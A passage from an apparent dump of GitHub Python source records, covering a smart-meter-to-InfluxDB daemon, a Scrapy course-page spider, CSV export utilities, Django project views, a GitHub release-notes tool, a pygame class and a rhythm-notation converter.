line).group(1)))\n elif re.search(\"1-0:1.8.2\", line):\n data['READING_POWER_IN_NORM_TARIFF'] = float(re.search(r'\\(([\\d\\.]*)\\*', line).group(1));\n if printOutput == True: print(\"Meter Reading electricity delivered to client (normal tariff) in 0,001 kWh:\\t\\t%.3f kWh\" %\n float(re.search(r'\\(([\\d\\.]*)\\*', line).group(1)))\n elif re.search(\"1-0:2.8.1\", line):\n data['READING_POWER_OUT_LOW_TARIFF'] = float(re.search(r'\\(([\\d\\.]*)\\*', line).group(1))\n if printOutput == True: print(\"Meter Reading electricity delivered by client (low tariff) in 0,001 kWh:\\t\\t%.3f kWh\" % \n float(re.search(r'\\(([\\d\\.]*)\\*', line).group(1)))\n elif re.search(\"1-0:2.8.2\", line):\n data['READING_POWER_OUT_NORM_TARIFF'] = float(re.search(r'\\(([\\d\\.]*)\\*', line).group(1))\n if printOutput == True: print(\"Meter Reading electricity delivered by client (normal tariff) in 0,001 kWh:\\t\\t%.3f kWh\" %\n float(re.search(r'\\(([\\d\\.]*)\\*', line).group(1)))\n elif re.search(\"1-0:1.7.0\", line):\n data['ACTUAL_POWER_IN'] = float(re.search(r'\\(([\\d\\.]*)\\*', line).group(1))\n if printOutput == True: print(\"Actual electricity power delivered (+P) in 1 Watt resolution:\\t\\t\\t\\t%.3f kW\" % \n float(re.search(r'\\(([\\d\\.]*)\\*', line).group(1))) \n elif re.search(\"1-0:2.7.0\", line):\n data['ACTUAL_POWER_OUT'] = float(re.search(r'\\(([\\d\\.]*)\\*', line).group(1))\n if printOutput == True: print(\"Actual electricity power received (-P) in 1 Watt resolution:\\t\\t\\t\\t%.3f kW\" %\n float(re.search(r'\\(([\\d\\.]*)\\*', line).group(1))) \n # Gasmeter: 0-1:24.3.0\n elif re.search(\"0-1:24.2.1\", line):\n data['READING_GAS_IN'] = float(re.search(r'\\(([\\d\\.]*)\\*', line).group(1))\n if printOutput == True: print(\"Gas Data - Gas delivered to client in m3:\\t\\t\\t\\t\\t\\t%.3f m3\" %\n float(re.search(r'\\(([\\d\\.]*)\\*', line).group(1))) \n # else:\n # pass\n buffer = []\n return(data)\n\n\n\ndef main(host='192.168.2.29', port=8086): # Replace parameters below with your InfluxDB connection details\n user = 'xxxxxx'\n password = 'xxxxxxxxxxxxx'\n dbname = 'marcel_sensors'\n dbuser = 'xxxxxxxxxxxx'\n dbuser_password = 'xxxxxxxxxx'\n\n data = getSmartMeterData(ser)\n \n global first_output\n\n json_body = [\n {\n \"measurement\": \"SmartMeter\",\n \"time\": datetime.datetime.now().isoformat(),\n \"fields\": {\n \"READING_POWER_IN_LOW_TARIFF\" : float(data['READING_POWER_IN_LOW_TARIFF']),\n \"READING_POWER_IN_NORM_TARIFF\" : float(data['READING_POWER_IN_NORM_TARIFF']),\n \"ACTUAL_POWER_IN\": float(data['ACTUAL_POWER_IN']),\n \"READING_GAS_IN\": float(data['READING_GAS_IN']), \n }\n } , \n ]\n\n\n client = InfluxDBClient(host, port, user, password, dbname)\n \n if (first_output == True):\n \tprint(\"Write points: {0}\".format(json_body))\n \tfirst_output = False\n\n client.write_points(json_body)\n\n\ndef do_something():\n while True:\n main()\n time.sleep(30)\n\ndef run():\n\tlogfile = open('smartmeter_service_daemon.log', 'w')\n\twith daemon.DaemonContext(stdout = logfile, stderr = logfile, pidfile=lockfile.FileLock('/var/run/smartmeter_service.pid')):\n\t\topenPort()\n\t\tdo_something()\n\nif __name__ == \"__main__\":\n\tprint(\"Starting SmartMeter to InfluxDB Service\")\n\trun()\n\n","repo_name":"mvdbosch/smartmetering","sub_path":"smartmeter_service/SmartMeterToInfluxDB.py","file_name":"SmartMeterToInfluxDB.py","file_ext":"py","file_size_in_byte":5913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"44857048051","text":"# -*- coding: utf-8 -*-\n# by Christian Anasco\n\nfrom ..standard_libs import *\nfrom ..scratch_file import *\n\n\ndef research_coursework(course_item):\n if re.search(\"research\", course_item[\"courseName\"], re.I):\n return \"12\"\n else:\n return \"11\"\n\n\ndef bachelor_honours(course_item):\n if re.search(\"honours\", course_item[\"courseName\"], re.I):\n return \"3\"\n else:\n return \"2\"\n\n\ndef get_total(field_to_use, field_to_update, course_item):\n if \"durationMinFull\" in course_item and \"teachingPeriod\" in course_item:\n if course_item[\"teachingPeriod\"] == 1:\n if float(course_item[\"durationMinFull\"]) < 1:\n course_item[field_to_update] = course_item[field_to_use]\n else:\n course_item[field_to_update] = float(course_item[field_to_use]) * float(course_item[\"durationMinFull\"])\n if course_item[\"teachingPeriod\"] == 12:\n if float(course_item[\"durationMinFull\"]) < 12:\n course_item[field_to_update] = course_item[field_to_use]\n else:\n course_item[field_to_update] = float(course_item[field_to_use]) * float(course_item[\"durationMinFull\"]) \\\n / 12\n if course_item[\"teachingPeriod\"] == 52:\n if float(course_item[\"durationMinFull\"]) < 52:\n course_item[field_to_update] = course_item[field_to_use]\n else:\n course_item[field_to_update] = float(course_item[field_to_use]) * float(course_item[\"durationMinFull\"]) \\\n / 52\n\n\nclass SuiSpiderSpider(scrapy.Spider):\n name = 'sui_spider'\n start_urls = ['https://www.sunitafe.edu.au/courses/']\n institution = \"Sunraysia Institute of TAFE\"\n uidPrefix = \"AU-SUI-\"\n\n degrees = {\n \"graduate certificate\": \"7\",\n \"graduate diploma\": \"8\",\n \"master\": research_coursework,\n \"bachelor\": bachelor_honours,\n \"doctor\": \"6\",\n \"certificate\": \"4\",\n \"certificate i\": \"4\",\n \"certificate ii\": \"4\",\n \"certificate iii\": \"4\",\n \"certificate iv\": \"4\",\n \"advanced diploma\": \"5\",\n \"diploma\": \"5\",\n \"associate degree\": \"1\",\n \"vcal victorian certificate\": \"9\",\n \"victorian certificate\": \"9\",\n \"vcal in\": \"9\",\n \"non-award\": \"13\",\n \"no match\": \"15\"\n }\n\n months = {\n \"Jan\": \"01\",\n \"Feb\": \"02\",\n \"Mar\": \"03\",\n \"Apr\": \"04\",\n \"May\": \"05\",\n \"Jun\": \"06\",\n \"Jul\": \"07\",\n \"Aug\": \"08\",\n \"Sep\": \"09\",\n \"Oct\": \"10\",\n \"Nov\": \"11\",\n \"Dec\": \"12\"\n }\n\n campuses = {\n \"Mildura\": \"58005\",\n \"Swan Hill\": \"58006\",\n }\n\n teaching_periods = {\n \"year\": 1,\n \"semester\": 2,\n \"trimester\": 3,\n \"quarter\": 4,\n \"month\": 12,\n \"week\": 52,\n \"day\": 365\n }\n\n def get_period(self, string_to_use, course_item):\n for item in self.teaching_periods:\n if re.search(item, string_to_use):\n course_item[\"teachingPeriod\"] = self.teaching_periods[item]\n\n def parse(self, response):\n categories = response.xpath(\"//*[@class='s-quick-tiles__title']/a/@href\").getall()\n\n for item in categories:\n yield response.follow(item, callback=self.sub_parse)\n\n def sub_parse(self, response):\n courses = response.xpath(\"//a[contains(@class, 's-course-page__item')]/@href\").getall()\n\n for item in courses:\n yield response.follow(item, callback=self.course_parse)\n\n def course_parse(self, response):\n course_item = Course()\n\n course_item['lastUpdate'] = date.today().strftime(\"%m/%d/%y\")\n course_item['sourceURL'] = response.request.url\n course_item['published'] = 1\n course_item['institution'] = self.institution\n\n name_with_code = response.xpath(\"//h1/text()\").get()\n if name_with_code:\n course_code = re.findall('^[0-9A-Z]+', name_with_code)\n if course_code:\n course_item['courseCode'] = course_code[0]\n course_name = re.findall('[0-9A-Z]+?\\s(.*)', name_with_code, re.DOTALL)\n if course_name:\n course_item.set_course_name(course_name[0].strip(), self.uidPrefix)\n\n overview = response.xpath(\n \"//*[contains(@class, 's-course-details-page__content')]/*[text()='Overview']/following-sibling::*\").get()\n if overview:\n course_item.set_summary(strip_tags(overview))\n course_item[\"overview\"] = strip_tags(overview, remove_all_tags=False, remove_hyperlinks=True)\n\n career = response.xpath(\n \"//*[contains(@class, 's-course-details-page__content')]/*[text()='Careers']/following-sibling::*\").get()\n if career:\n course_item['careerPathways'] = strip_tags(career, remove_all_tags=False, remove_hyperlinks=True)\n\n entry = response.xpath(\n \"//*[contains(@class, 's-course-details-page__content')]/*[text()='Entry \"\n \"Requirements']/following-sibling::*\").get()\n if entry:\n course_item['entryRequirements'] = strip_tags(entry, remove_all_tags=False, remove_hyperlinks=True)\n\n duration = response.xpath(\n \"//*[contains(@class, 's-course-details-page__content')]/*[text()='Expected Time to \"\n \"Complete']/following-sibling::*\").get()\n if duration:\n duration_full = re.findall(\n \"(\\d*\\.?\\d+)(?=\\s(year|month|semester|trimester|quarter|week|day)s?,?\\s+?full)\",\n duration, re.I | re.M | re.DOTALL)\n duration_part = re.findall(\n \"(\\d*\\.?\\d+)(?=\\s(year|month|semester|trimester|quarter|week|day)s?,?\\s+?part)\",\n duration, re.I | re.M | re.DOTALL)\n if not duration_full and duration_part:\n self.get_period(duration_part[0][1].lower(), course_item)\n if duration_full:\n course_item[\"durationMinFull\"] = float(duration_full[0][0])\n self.get_period(duration_full[0][1].lower(), course_item)\n if duration_part:\n if self.teaching_periods[duration_part[0][1].lower()] == course_item[\"teachingPeriod\"]:\n course_item[\"durationMinPart\"] = float(duration_part[0][0])\n else:\n course_item[\"durationMinPart\"] = float(duration_part[0][0]) * course_item[\"teachingPeriod\"] \\\n / self.teaching_periods[duration_part[0][1].lower()]\n if \"durationMinFull\" not in course_item and \"durationMinPart\" not in course_item:\n duration_full = re.findall(\"(\\d*\\.?\\d+)(?=\\s(year|month|semester|trimester|quarter|week|day))\",\n duration, re.I | re.M | re.DOTALL)\n if duration_full:\n course_item[\"durationMinFull\"] = float(duration_full[0][0])\n self.get_period(duration_full[0][1].lower(), course_item)\n # if len(duration_full) == 1:\n # course_item[\"durationMinFull\"] = float(duration_full[0][0])\n # self.get_period(duration_full[0][1].lower(), course_item)\n # if len(duration_full) == 2:\n # course_item[\"durationMinFull\"] = min(float(duration_full[0][0]), float(duration_full[1][0]))\n # course_item[\"durationMaxFull\"] = max(float(duration_full[0][0]), float(duration_full[1][0]))\n # self.get_period(duration_full[1][1].lower(), course_item)\n\n cricos = response.xpath(\n \"//*[contains(@class, 's-course-details-page__badge')][contains(text(), 'Cricos Code')]/text()\").get()\n if cricos:\n cricos = re.findall(\"\\d{6}[0-9a-zA-Z]\", cricos, re.M)\n if cricos:\n course_item[\"cricosCode\"] = \", \".join(cricos)\n course_item[\"internationalApps\"] = 1\n\n dom_fee = response.xpath(\"//td[text()='Self-Funded']/following-sibling::*\").get()\n if dom_fee:\n dom_fee = re.findall(\"\\$(\\d*),?(\\d+)(\\.\\d\\d)?\", dom_fee, re.M)\n dom_fee = [float(''.join(x)) for x in dom_fee]\n if dom_fee:\n course_item[\"domesticFeeTotal\"] = max(dom_fee)\n # get_total(\"domesticFeeAnnual\", \"domesticFeeTotal\", course_item)\n\n csp_fee = response.xpath(\"//td[text()='Government Subsidised']/following-sibling::*\").get()\n if csp_fee:\n csp_fee = re.findall(\"\\$(\\d*),?(\\d+)(\\.\\d\\d)?\", csp_fee, re.M)\n csp_fee = [float(''.join(x)) for x in csp_fee]\n if csp_fee:\n course_item[\"domesticSubFeeTotal\"] = max(csp_fee)\n # get_total(\"domesticSubFeeAnnual\", \"domesticSubFeeTotal\", course_item)\n\n intake = response.xpath(\"//*[@id='intake-body']//td[1]/text()\").getall()\n if intake:\n intake = '|'.join(intake)\n start_holder = []\n for item in self.months:\n if re.search(item, intake, re.M):\n start_holder.append(self.months[item])\n if start_holder:\n course_item['startMonths'] = '|'.join(start_holder)\n\n location = response.xpath(\"//*[@id='intake-body']//td[2]/text()\").getall()\n campus_holder = set()\n study_holder = set()\n if location:\n location = '|'.join(location)\n for campus in self.campuses:\n if re.search(campus, location, re.I):\n campus_holder.add(self.campuses[campus])\n if re.search('online', location, re.I):\n study_holder.add('Online')\n if campus_holder:\n course_item['campusNID'] = '|'.join(campus_holder)\n study_holder.add('In Person')\n if study_holder:\n course_item['modeOfStudy'] = '|'.join(study_holder)\n\n course_item.set_sf_dt(self.degrees, degree_delims=[\"and\", \"/\"], type_delims=[\"of\", \"in\", \"by\"])\n\n course_item['group'] = 141\n course_item['canonicalGroup'] = 'CareerStarter'\n\n international_link = response.xpath(\n \"//a[@class='s-course-details-page__sidebar-item'][contains(text(), 'International Students')]/@href\").get()\n if international_link:\n yield response.follow(international_link, callback=self.int_parse, meta={'item': course_item})\n else:\n yield course_item\n\n def int_parse(self, response):\n course_item = response.meta['item']\n\n int_fee = response.xpath(\"//td[text()='Total Fees (AUD)']/following-sibling::*\").get()\n if int_fee:\n int_fee = re.findall(\"\\$(\\d*),?(\\d+)(\\.\\d\\d)?\", int_fee, re.M)\n int_fee = [float(''.join(x)) for x in int_fee]\n if int_fee:\n course_item[\"internationalFeeTotal\"] = max(int_fee)\n # get_total(\"internationalFeeAnnual\", \"internationalFeeTotal\", course_item)\n\n yield course_item\n","repo_name":"ChampionChanPH/prosple-education-spiders","sub_path":"prosple_education_spiders/spiders/sui_spider.py","file_name":"sui_spider.py","file_ext":"py","file_size_in_byte":11063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"5497411907","text":"import csv\nfrom pathlib import Path\nfrom typing import Dict, List\n\nfrom reporter.core.train import RunResult\nfrom reporter.util.constant import Phase\n\n\ndef export_results_to_csv(dest_dir: Path, result: RunResult, phase: Phase) -> None:\n\n header = ['article_id',\n 'gold tokens (tag)',\n 'gold tokens (num)',\n 'pred tokens (tag)',\n 'pred tokens (num)']\n dest_dir.mkdir(parents=True, exist_ok=True)\n output_file = dest_dir / Path('reporter-%s.csv' % phase.value)\n\n with output_file.open(mode='w') as w:\n writer = csv.writer(w, delimiter=',', quoting=csv.QUOTE_ALL)\n writer.writerow(header)\n for (article_id, gold_sent, gold_sent_num, pred_sent, pred_sent_num) in \\\n zip(result.article_ids,\n result.gold_sents,\n result.gold_sents_num,\n result.pred_sents,\n result.pred_sents_num):\n writer.writerow([article_id,\n '|'.join(gold_sent),\n '|'.join(gold_sent_num),\n '|'.join(pred_sent),\n '|'.join(pred_sent_num)])\n\n\ndef export_neg_info_tuples(dest_dir: Path, neg_info_tuples: List[tuple], epoch: int) -> None:\n header = ['epoch', 'article_id', 'rule_tags', 'idx', 'pos_token', 'neg_token']\n dest_dir.mkdir(parents=True, exist_ok=True)\n output_file = dest_dir / Path('neg-info.csv')\n\n with output_file.open(mode='a') as w:\n writer = csv.writer(w, delimiter=',', quoting=csv.QUOTE_ALL)\n writer.writerow(header)\n for article_id, rule_tags, idx, pos_token, neg_token in neg_info_tuples:\n writer.writerow([epoch,\n article_id,\n rule_tags,\n str(idx),\n pos_token,\n neg_token])\n\n\ndef export_neg_eval_to_csv(dest_dir: Path, neg_eval: Dict, phase: Phase) -> None:\n header = ['rule_tag_class',\n 'rule_tag',\n 'predP/goldP',\n 'predN/goldP',\n 'predPN/goldP',\n 'pred-other/goldP',\n 'gold-count',\n 'goldP/predP',\n 'goldN/predP',\n 'goldPN/predP',\n 'gold-other/predP',\n 'pred-count',\n 'Recall(predP/gold-count)',\n 'Precision(goldP/pred-count)',\n 'Error1(predN/gold-count)',\n 'Error2(goldN/pred-count)']\n dest_dir.mkdir(parents=True, exist_ok=True)\n output_file = dest_dir / Path('neg-eval-%s.csv' % phase.value)\n\n with output_file.open(mode='w') as w:\n writer = csv.writer(w, delimiter=',', quoting=csv.QUOTE_ALL)\n writer.writerow(header)\n for rule_tag_class in neg_eval.keys():\n cnt_dict = {'predP/goldP': 0, 'predN/goldP': 0, 'predPN/goldP': 0, 'pred-other/goldP': 0, 'gold-count': 0,\n 'goldP/predP': 0, 'goldN/predP': 0, 'goldPN/predP': 0, 'gold-other/predP': 0, 'pred-count': 0}\n\n for rule_tag in neg_eval[rule_tag_class].keys():\n if neg_eval[rule_tag_class][rule_tag]['gold-count']:\n rec = float(neg_eval[rule_tag_class][rule_tag]['predP/goldP']) / \\\n neg_eval[rule_tag_class][rule_tag]['gold-count']\n err1 = float(neg_eval[rule_tag_class][rule_tag]['predN/goldP']) / \\\n neg_eval[rule_tag_class][rule_tag]['gold-count']\n else:\n rec = 0.0\n err1 = 0.0\n if neg_eval[rule_tag_class][rule_tag]['pred-count']:\n prec = float(neg_eval[rule_tag_class][rule_tag]['goldP/predP']) / \\\n neg_eval[rule_tag_class][rule_tag]['pred-count']\n err2 = float(neg_eval[rule_tag_class][rule_tag]['goldN/predP']) / \\\n neg_eval[rule_tag_class][rule_tag]['pred-count']\n else:\n prec = 0.0\n err2 = 0.0\n writer.writerow([rule_tag_class,\n rule_tag,\n neg_eval[rule_tag_class][rule_tag]['predP/goldP'],\n neg_eval[rule_tag_class][rule_tag]['predN/goldP'],\n neg_eval[rule_tag_class][rule_tag]['predPN/goldP'],\n neg_eval[rule_tag_class][rule_tag]['pred-other/goldP'],\n neg_eval[rule_tag_class][rule_tag]['gold-count'],\n neg_eval[rule_tag_class][rule_tag]['goldP/predP'],\n neg_eval[rule_tag_class][rule_tag]['goldN/predP'],\n neg_eval[rule_tag_class][rule_tag]['goldPN/predP'],\n neg_eval[rule_tag_class][rule_tag]['gold-other/predP'],\n neg_eval[rule_tag_class][rule_tag]['pred-count'],\n rec,\n prec,\n err1,\n err2])\n for k in cnt_dict.keys():\n cnt_dict[k] += neg_eval[rule_tag_class][rule_tag][k]\n if cnt_dict['gold-count']:\n rec = float(cnt_dict['predP/goldP']) / cnt_dict['gold-count']\n err1 = float(cnt_dict['predN/goldP']) / cnt_dict['gold-count']\n else:\n rec = 0.0\n err1 = 0.0\n if cnt_dict['pred-count']:\n prec = float(cnt_dict['goldP/predP']) / cnt_dict['pred-count']\n err2 = float(cnt_dict['goldN/predP']) / cnt_dict['pred-count']\n else:\n prec = 0.0\n err2 = 0.0\n writer.writerow([rule_tag_class,\n 'sum',\n cnt_dict['predP/goldP'],\n cnt_dict['predN/goldP'],\n cnt_dict['predPN/goldP'],\n cnt_dict['pred-other/goldP'],\n cnt_dict['gold-count'],\n cnt_dict['goldP/predP'],\n cnt_dict['goldN/predP'],\n cnt_dict['goldPN/predP'],\n cnt_dict['gold-other/predP'],\n cnt_dict['pred-count'],\n rec,\n prec,\n err1,\n err2])\n","repo_name":"aistairc/contrastive_data2text","sub_path":"reporter/postprocessing/export.py","file_name":"export.py","file_ext":"py","file_size_in_byte":6627,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"} +{"seq_id":"29439337269","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.decorators import login_required\n# Create your views here.\nfrom django.http import HttpResponse\nimport pandas as pd\nfrom plotly.offline import plot\nimport plotly.express as px\nfrom .models import Project, Tag, Review, ProjecDetails\n\n# msg = \"Hello we are on the Projects Page -- May22\"\n# number = 11\n# tech = ['Python', 'scala', 'aws', 'snowflake']\n# projectlist = [\n# {\n# \"id\": 1001,\n# \"Profile\": \"dev\",\n# \"skills\": ['Python', 'scala', 'aws', 'snowflake']\n# },\n# {\n# \"id\": 1002,\n# \"Profile\": \"qa\",\n# \"skills\": ['Python', 'Testing', 'aws', 'selenium']\n# },\n# {\n# \"id\": 1001,\n# \"Profile\": \"dba\",\n# \"skills\": ['Python', 'rds', 'aws', 'snowflake']\n# }\n# ]\n\n# context = { 'msg': msg , \n# 'number': number ,\n# 'projectlist': projectlist\n# }\n\n\n# creating Model Views \n\nfrom .forms import ProjectForm\n\n@login_required(login_url='login')\ndef deleteProject(request,pk):\n proj_obj = Project.objects.get(id=pk)\n if request.method ==\"POST\":\n proj_obj.delete()\n return redirect('projects')\n context ={'object': proj_obj}\n return render(request, 'projects/delete_template.html', context)\n\n@login_required(login_url='login')\ndef updateProject(request, pk):\n proj_obj = Project.objects.get(id=pk)\n\n #we are creating a Form using the project Object \n form = ProjectForm(instance=proj_obj)\n\n if request.method == \"POST\":\n form = ProjectForm(request.POST, request.FILES, instance=proj_obj)\n if form.is_valid():\n form.save()\n return redirect('projects')\n context = {'form': form}\n return render ( request, 'projects/project_form.html', context)\n# if the user tries to navigate to add projects Page and of they are not logged in , website redirects them to the login page \n@login_required(login_url='login')\ndef createProject(request):\n form = ProjectForm()\n context = {'form': form}\n if request.method == 'POST':\n print(request.POST)\n form = ProjectForm(request.POST, request.FILES)\n # request.FILES we can get the uploaded Files \n if form.is_valid():\n form.save() # it will save the form data in Database\n return redirect('projects') \n return render (request, 'projects/project_form.html', context)\n \n\ndef projects(request):\n #return HttpResponse('Here are our Products')\n # return the HTML response \n # get all the Projects from DB \n projects = Project.objects.all()\n context = {'projects': projects}\n print(context)\n\n return render(request, 'projects/projects.html', context )\n\ndef project(request, pk):\n #return HttpResponse(f'single Project -- {pk}')\n project_object = Project.objects.get(id=pk)\n tags = project_object.tags.all()\n return render(request, 'projects/single_project.html', {'project': project_object, 'tags': tags })\n\n\ndef diagram(request):\n qs = ProjecDetails.objects.all()\n project_data = [\n {\n 'project': x.name,\n \"start\": x.start_date,\n \"finish\": x.end_date,\n \"responsible\": x.responsible\n } for x in qs\n ]\n\n df = pd.DataFrame(project_data)\n fig = px.timeline(\n df,\n x_start=\"start\",\n x_end=\"finish\",\n y=\"project\",\n color=\"responsible\"\n )\n\n fig.update_yaxes(autorange=\"reversed\")\n gantt_plot = plot(fig, output_type=\"div\")\n\n context ={'plot_div': gantt_plot}\n return render(request, 'projects/projectdetails.html', context)","repo_name":"esak21/DJ22","sub_path":"step0_learning/devsearch/projects/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"37191460038","text":"import os\nimport re\nimport yaml\nimport argparse\nfrom github import Github\nfrom collections import defaultdict\nfrom release_notes import (\n create_new_branch,\n get_sem_release,\n get_release_head,\n get_release_notes,\n create_release_notes_md,\n parse_arguments,\n verbose_print\n)\n\nMETA_REPOSITORY = \"sequentech/meta\"\n\nREPOSITORIES = [\n \"sequentech/common-ui\",\n \"sequentech/admin-console\",\n \"sequentech/election-portal\",\n \"sequentech/voting-booth\",\n \"sequentech/ballot-box\",\n \"sequentech/deployment-tool\",\n \"sequentech/tally-methods\",\n \"sequentech/tally-pipes\",\n \"sequentech/election-verifier\",\n \"sequentech/frestq\",\n \"sequentech/election-orchestra\",\n \"sequentech/iam\",\n \"sequentech/misc-tools\",\n \"sequentech/mixnet\",\n \"sequentech/documentation\",\n \"sequentech/ballot-verifier\",\n \"sequentech/release-tool\",\n]\n\ndef get_comprehensive_release_notes(\n args, token, repos, prev_major_release, prev_release, new_release, config\n):\n \"\"\"\n Generate comprehensive release notes for a list of repositories.\n\n Args:\n token (str): GitHub access token.\n repos (list): A list of repository paths, e.g., [\"org/repo1\", \"org/repo2\"].\n prev_major_release (str|None): The previous major release version (e.g. \"1.0.0\") or None if prev_release and new_release share their major version.\n prev_release (str): The previous release version (e.g. \"1.1.0\").\n new_release (str): The new release version (e.g. \"1.2.0\").\n config (dict): the configuration for generating release notes.\n\n :return: dict, the release notes categorized by their labels.\n \"\"\"\n gh = Github(token)\n release_notes = defaultdict(list)\n\n for repo_path in repos:\n verbose_print(args, f\"Generating release notes for repo {repo_path}..\")\n repo = gh.get_repo(repo_path)\n\n hidden_links = []\n # if we are going to do a new major release for example\n # new_release=\"8.0.0\", we need to obtain a list of all the changes made\n # in the previous major release cycle (from 7.0.0 to\n # previous_release=\"7.4.0\") and mark them as hidden.\n if prev_major_release:\n verbose_print(args, f\"Generating release notes for hidden links:\")\n (_, hidden_links) = get_release_notes(\n gh, repo, prev_major_release, prev_release, config, hidden_links=[]\n )\n \n verbose_print(args, f\"Generating release notes:\")\n (repo_notes, _) = get_release_notes(\n gh, repo, prev_release, new_release, config, hidden_links=hidden_links\n )\n verbose_print(args, f\"..generated\")\n for category, notes in repo_notes.items():\n release_notes[category].extend(notes)\n\n # Deduplicate notes by removing duplicates based on links\n deduplicated_release_notes = {}\n links = set()\n for category, notes in release_notes.items():\n deduplicated_notes = []\n for note in notes:\n link = re.search(r'https://\\S+', note)\n if link and link.group(0) not in links:\n deduplicated_notes.append(note)\n links.add(link.group(0))\n deduplicated_release_notes[category] = deduplicated_notes\n\n return deduplicated_release_notes\n\ndef parse_arguments():\n \"\"\"\n Parse command-line arguments specific for the comprehensive release notes script.\n \n Returns:\n argparse.Namespace: An object containing parsed arguments.\n \"\"\"\n parser = argparse.ArgumentParser(\n description='Generate comprehensive release notes for multiple repositories.'\n )\n parser.add_argument(\n 'previous_release',\n help='Previous release version in format `.`, i.e. `7.2`'\n )\n parser.add_argument(\n 'new_release',\n help=(\n 'New release version in format `.`, i.e. `7.2` '\n 'or full semver release if it already exists i.e. `7.3.0`'\n )\n )\n parser.add_argument(\n '--dry-run',\n action='store_true',\n help=(\n 'Output the release notes but do not create any tag, release or '\n 'new branch.'\n )\n )\n parser.add_argument(\n '--silent',\n action='store_true',\n help='Disables verbose output'\n )\n parser.add_argument(\n '--draft',\n action='store_true',\n help='Mark the new release be as draft'\n )\n parser.add_argument(\n '--prerelease',\n action='store_true',\n help='Mark the new release be as a prerelease'\n )\n return parser.parse_args()\n\n\ndef main():\n args = parse_arguments()\n\n previous_release = args.previous_release\n new_release = args.new_release\n dry_run = args.dry_run\n github_token = os.getenv(\"GITHUB_TOKEN\")\n\n g = Github(github_token)\n meta_repo = g.get_repo(META_REPOSITORY)\n\n with open(\".github/release.yml\") as f:\n config = yaml.safe_load(f)\n\n prev_major, prev_minor, prev_patch = get_sem_release(previous_release)\n new_major, new_minor, new_patch = get_sem_release(new_release)\n\n prev_release_head = get_release_head(prev_major, prev_minor, prev_patch)\n if new_patch or prev_major == new_major:\n new_release_head = get_release_head(new_major, new_minor, new_patch)\n else:\n new_release_head = meta_repo.default_branch\n\n verbose_print(args, f\"Input Parameters: {args}\")\n verbose_print(args, f\"Previous Release Head: {prev_release_head}\")\n verbose_print(args, f\"New Release Head: {new_release_head}\")\n\n if prev_major != new_major:\n # if we are going to do a new major release for example\n # new_release=\"8.0.0\", we need to obtain a list of all the changes made\n # in the previous major release cycle (from 7.0.0 to\n # previous_release=\"7.4.0\") and mark them as hidden.\n prev_major_release_head = get_release_head(prev_major, 0, \"0\")\n else:\n prev_major_release_head = None\n verbose_print(\n args,\n f\"Previous Major Release Head: {prev_major_release_head}\"\n )\n\n release_notes = get_comprehensive_release_notes(\n args,\n github_token,\n REPOSITORIES,\n prev_major_release_head,\n prev_release_head,\n new_release_head,\n config\n )\n\n if not new_patch:\n latest_release = meta_repo.get_releases()[0]\n latest_tag = latest_release.tag_name\n major, minor, new_patch = map(int, latest_tag.split(\".\"))\n if new_major == major and new_minor == minor:\n new_patch += 1\n else:\n new_patch = 0\n\n new_tag = f\"{new_major}.{new_minor}.{new_patch}\"\n new_title = f\"{new_tag} release\"\n verbose_print(args, f\"New Release Tag: {new_tag}\")\n\n release_notes_md = create_release_notes_md(release_notes, new_tag)\n\n verbose_print(args, f\"Generated Release Notes: {release_notes_md}\")\n\n if not dry_run:\n branch = None\n try:\n branch = meta_repo.get_branch(new_release_head)\n except:\n verbose_print(args, \"Creating new branch\")\n create_new_branch(meta_repo, new_release_head)\n branch = meta_repo.get_branch(new_release_head)\n\n verbose_print(args, \"Creating new release\")\n meta_repo.create_git_tag_and_release(\n tag=new_tag,\n tag_message=new_title,\n type='commit',\n object=branch.commit.sha,\n release_name=new_title,\n release_message=release_notes_md,\n prerelease=args.prerelease,\n draft=args.draft\n )\n verbose_print(args, f\"Executed Actions: Branch created and new release created\")\n else:\n verbose_print(args, \"Dry Run: No actions executed\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"sequentech/release-tool","sub_path":"comprehensive_release_notes.py","file_name":"comprehensive_release_notes.py","file_ext":"py","file_size_in_byte":7789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"42158830266","text":"import pygame\n\nimport constants\n\nfrom art import *\nfrom actor import *\n\nclass SoccerGoal(Actor):\n def __init__(self, goalNumber):\n self.imgg = Art().get_image('tempGoal')\n \n \n if goalNumber == 1:\n spawn_place = [0, constants.SCREEN_HEIGHT/2]\n elif goalNumber == 2:\n spawn_place = [constants.SCREEN_HEIGHT * 3 / 4, constants.SCREEN_HEIGHT/2]\n\n else:\n raise ValueError('invaid player number')\n\n self.goalNumber = goalNumber\n \n super().__init__(self.imgg, spawn_place[0], spawn_place[1])\n\n def get_goal_number(self):\n return self.goalNumber\n \n","repo_name":"tienqpham/final-super-dodgeball-64","sub_path":"soccer_goal.py","file_name":"soccer_goal.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"17323198043","text":"def convert_rhythm(directory, index):\n # output directory\n output = open(directory + r\"\\rhythm_\" + str(index) + \".out\", 'w')\n # input directory\n f = open(directory + r\"\\rhythm_\" + str(index) + \".in\", 'r').read()\n # example: 48ss8.8.8 -> QUARTER, EIGHTH, SIXTEENTH, SIXTEENTH, DOTTED_EIGHTH, DOTTED_EIGHTH, EIGHTH,\n for i in range(len(f)):\n char1 = f[i]\n if i + 1 < len(f):\n char2 = f[i+1]\n else:\n char2 = ''\n\n # DOTTED_ is a prefix\n if char2 == '.':\n print(\"DOTTED_\", end='', file=output)\n\n # you may define your own mark\n if char1 == '.':\n continue\n elif char1 == '1':\n print(\"WHOLE\", end=', ', file=output)\n elif char1 == '2':\n print(\"HALF\", end=', ', file=output)\n elif char1 == '4':\n print(\"QUARTER\", end=', ', file=output)\n elif char1 == '8':\n print(\"EIGHTH\", end=', ', file=output)\n elif char1 == 's':\n print(\"SIXTEENTH\", end=', ', file=output)\n elif char1 == '\\n':\n print('', 